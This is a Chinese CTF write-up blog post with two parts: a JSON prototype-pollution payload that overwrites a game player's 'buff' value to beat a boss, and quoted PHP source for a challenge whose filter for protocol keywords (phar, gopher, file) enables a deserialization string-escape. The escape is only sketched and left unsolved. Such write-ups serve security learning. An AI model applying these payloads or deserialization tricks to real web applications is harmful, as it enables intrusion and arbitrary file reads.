原型污染,虽然不能污染到真正的原型,但是可以替换 player 对象的原型到我们的恶意对象,将 buff 搞成一个特别大的值就能秒杀 boss。

Payload:

{
    "name": "asdasd",
    "round_to_use": 1,
    "career": "high_priest",
    "item": "ZLYG",
    "__proto__": {
        "buff": 1000
    }
}

battle

Web3

反序列化逃逸

lib.php 部分源码 User 类

private function waf($string)
{
    $waf = '/phar|file|gopher|http|sftp|flag/i';
    return preg_replace($waf, 'index', $string);
}

private function check_data($data)
{
    foreach( $data as $key => $value)
    {
        if ( is_array($value) )
            return $this->check_data($value);
        if ( is_object($value) && $value instanceof User)
        {
            $data_avatar = $value->get_avatar();
            if ( is_string($data_avatar) && !empty($data_avatar)) {
                $content = file_get_contents(__DIR__ . "/" . $data_avatar);
                $png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
                if (strpos($content, $png_header) === false )
                {
                    throw new Exception("png content got an unexpected Exception");
                }
            }
        }
    }
    return true;
}

public function update($profile)
{
    $data = unserialize($this->waf($profile));
    if ($data["old_password"] !== $data["old_real_password"] )
        return $this->check_data($data);
    $this->password = $data["password"];
    $this->age = $data["age"];
    $this->email = $data["email"];
}
//......
function __destruct()
{
    if ( isset($this->username)
        && isset($this->password)
        && isset($this->age)
        && isset($this->email)
        && isset($this->avatar)
        && isset($this->content)
        && is_string($this->avatar)
        && !empty($this->avatar)
        && !preg_match('/\:\/\//', $this->avatar) )
    {
        $this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
        $res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
        $res = str_replace("content", base64_encode($this->content), $res);
        echo $res;
    }
}

dashboard.php 部分源码

if (isset($_POST["old_password"])
    && isset($_POST["update_password"])
    && isset($_POST["update_age"])
    && isset($_POST["update_email"])
    && is_string($_POST["old_password"])
    && is_string($_POST["update_password"])
    && is_string($_POST["update_age"])
    && is_string($_POST["update_email"])
   )
{
    if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )
        $user->alertMes("invalid information", "./dashboard.php");
    $update_profile = array (
        "old_password" => $_POST["old_password"],
        "old_real_password" => $user->password,
        "password" => $_POST["update_password"],
        "age" => $_POST["update_age"],
        "email" => $_POST["update_email"]
    );
    $user->update(serialize($update_profile));
}

应该是调用User类的update方法时经过 wafunserialize 时存在反序列化漏洞。

大老鼠有言:

waf() 造成序列化的字符串长度改变,就可以提前截断了

逃逸出来一个user对象就行了

u1s1,PHP 是世界上最好的语言,这题后面再看看来复现8(咕咕咕

(先溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录